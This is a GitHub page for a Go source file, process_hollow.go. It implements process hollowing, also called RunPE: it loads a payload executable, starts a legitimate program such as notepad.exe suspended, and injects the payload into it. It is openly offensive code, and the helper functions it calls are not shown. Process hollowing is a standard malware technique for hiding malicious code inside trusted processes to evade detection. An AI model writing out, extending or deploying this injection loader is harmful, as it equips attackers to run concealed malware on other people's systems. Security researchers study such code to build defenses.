-
Notifications
You must be signed in to change notification settings - Fork 5
/
process_hollow.go
71 lines (58 loc) · 1.82 KB
/
process_hollow.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package main
import (
"fmt"
"log"
"syscall"
)
//HollowProcess func
func HollowProcess(payloadPath, targetPath string) bool {
//payloadPath := `test.exe`
//targetPath := `C:\Windows\SysWOW64\notepad.exe`
//1. Load the payload:
var payloadImageSize uint64
// Load the current executable from the file with the help of libpeconv:
loadedPE := LoadPEModule(payloadPath, &payloadImageSize, false, false)
fmt.Printf("Loaded_PE size: %d\n", payloadImageSize)
fmt.Printf("Loaded_PE ptr: %X\n", loadedPE)
if loadedPE == 0 {
log.Println("Loading failed!")
return false
}
// Get the payload's architecture and check if it is compatibile with the loader:
payloadArch := GetNTHdrArch(loadedPE)
fmt.Printf("Paylod_arch: %#x\n", payloadArch)
if payloadArch != IMAGE_NT_OPTIONAL_HDR32_MAGIC && payloadArch != IMAGE_NT_OPTIONAL_HDR64_MAGIC {
log.Println("Not supported payload architecture!")
return false
}
is32BitPayload := !Is64Bit(loadedPE)
// 2. Prepare the taget
isTargComp := IsTargetCompatible(loadedPE, payloadImageSize, targetPath)
if !isTargComp {
FreePEBuffer(loadedPE, payloadImageSize)
return false
}
// Create the target process (suspended):
var pi syscall.ProcessInformation
isCreated := CreateSuspendedProcess(targetPath, &pi)
fmt.Printf("Suspended process created in GO: %t ProcessID: %d\n", isCreated, pi.ProcessId)
if !isCreated {
log.Println("Creating target process failed!")
FreePEBuffer(loadedPE, payloadImageSize)
return false
}
//3. Perform the actual RunPE:
//Test _run_pe
isOK := _RunPE(loadedPE, payloadImageSize, &pi, is32BitPayload)
//4. Cleanup:
if !isOK {
//if injection failed, kill the process
TerminateProcess(pi.ProcessId)
}
//Test free_pe_buffer
FreePEBuffer(loadedPE, payloadImageSize)
syscall.CloseHandle(pi.Thread)
syscall.CloseHandle(pi.Process)
//---
return isOK
}